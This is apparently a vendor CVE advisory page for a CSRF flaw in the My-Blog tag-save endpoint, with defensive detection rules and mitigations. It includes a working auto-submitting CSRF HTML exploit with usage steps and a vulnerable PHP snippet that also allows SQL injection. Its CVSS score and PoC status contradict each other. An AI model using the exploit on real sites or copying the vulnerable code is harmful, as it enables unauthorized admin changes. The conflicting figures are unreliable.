☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 5.3 🐛 CWE-352
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-8739

CVE-2025-8739 Cross-Site Request Forgery in Zhenfeng13
📅 PUBLISHED: 2025-08-08 20:32 UTC 🔄 UPDATED: 2026-09-23 20:31 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.23%
👁️
0.23% probability
5.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1204
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-8739 is a Cross-Site Request Forgery (CSRF) vulnerability in the zhenfeng13 My-Blog application up to version 1.0.0. The flaw exists in the /admin/tags/save endpoint, where the tagName parameter is manipulated without proper CSRF token validation. An attacker can trick an authenticated administrator into unknowingly creating or modifying tags, leading to unauthorized changes in the blog’s tag taxonomy. The CVSS score is 4.3 (Medium), with a low attack complexity and no privileges required, but user interaction is necessary. No official patch has been released, and a public proof-of-concept (PoC) is available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not associated with a package manager (NPM, PyPI, Go, Ruby). It is a standalone PHP application. No supply chain implications are identified.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
  • Base Score: 4.3 (Medium)
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: Required (victim must click a crafted link)
  • Scope: Unchanged
  • Confidentiality Impact: None
  • Integrity Impact: Low (tag manipulation)
  • Availability Impact: None

Threat Level: Medium. Exploitation requires social engineering, but the impact is limited to tag data integrity.

Deep Dive & Mechanics

The vulnerability resides in the /admin/tags/save endpoint of the My-Blog application. The application does not implement CSRF tokens or any origin/referrer validation for POST requests to this endpoint. An attacker can craft a malicious HTML page that, when visited by an authenticated admin, automatically submits a POST request to:

POST /admin/tags/save
Content-Type: application/x-www-form-urlencoded

tagName=MaliciousTag

The server processes the request without verifying the request’s authenticity, allowing the attacker to add arbitrary tags. This could be used to inject malicious content (e.g., XSS payloads in tag names) or disrupt the blog’s taxonomy.

Root Cause: Missing CSRF protection in the tag creation functionality.

Vulnerable vs. Patched Code

Vulnerable Code (My-Blog <= 1.0.0):

// /admin/tags/save (simplified)
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $tagName = $_POST['tagName'];
    // No CSRF token check
    $db->query("INSERT INTO tags (name) VALUES ('$tagName')");
}

Patched Code (Hypothetical):

// /admin/tags/save (patched)
session_start();
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
        die('CSRF validation failed');
    }
    $tagName = htmlspecialchars($_POST['tagName'], ENT_QUOTES, 'UTF-8');
    $stmt = $db->prepare("INSERT INTO tags (name) VALUES (?)");
    $stmt->bind_param("s", $tagName);
    $stmt->execute();
}

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A running instance of My-Blog <= 1.0.0.
  • An authenticated admin session (cookie).

Exploit PoC (HTML):

<html>
<body>
<form action="http://target.com/admin/tags/save" method="POST" id="csrf-form">
  <input type="hidden" name="tagName" value="HackedTag">
</form>
<script>
  document.getElementById('csrf-form').submit();
</script>
</body>
</html>

Usage: Host the HTML file on an attacker-controlled server. Send the link to an authenticated admin. When the admin visits the page, the form auto-submits, creating a new tag.

Blue Team

Detection Steps:

  1. Monitor /admin/tags/save POST requests for unexpected tagName values.
  2. Check for missing Referer header or unexpected origins.
  3. Review server logs for rapid, automated POST requests to this endpoint.

Mitigation:

  • Implement CSRF tokens in all admin forms.
  • Validate Origin and Referer headers.
  • Restrict admin access to trusted IPs if possible.

Indicators of Compromise (IOCs)

  • Network:
    • POST requests to /admin/tags/save with unusual tagName parameters.
    • Missing or spoofed Referer header.
  • File System:
    • Unexpected entries in the tags database table.
  • Logs:
    • Repeated POST requests to /admin/tags/save from a single IP.

Detection Engineering

YARA Rule

rule CVE_2025_8739_CSRF_TagSave {
    meta:
        description = "Detects CSRF exploitation attempts against My-Blog /admin/tags/save"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-8739"
    strings:
        $post_request = "POST /admin/tags/save" ascii nocase
        $tag_param = "tagName=" ascii nocase
    condition:
        $post_request and $tag_param
}

Sigma Rule

title: CVE-2025-8739 CSRF Exploitation Attempt
id: 8a7b3c2d-1e5f-4a6b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects POST requests to /admin/tags/save with suspicious tagName values
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/admin/tags/save'
    condition: selection
falsepositives:
    - Legitimate admin tag creation
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-8739 CSRF Tag Save Attempt"; flow:to_server,established; http.method; content:"POST"; http.uri; content:"/admin/tags/save"; http.request_body; content:"tagName="; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the /admin/tags/save endpoint if not needed.
  2. Implement CSRF tokens using a library like csrf-protect or custom session-based tokens.
  3. Add origin/referrer validation to reject requests from unexpected sources.

Long-Term Fix:

  • Upgrade to a patched version if the vendor releases one.
  • Consider migrating to a maintained blog platform.

Workaround:

  • Use a Web Application Firewall (WAF) to block requests to /admin/tags/save without a valid Referer header.

Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-8739/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.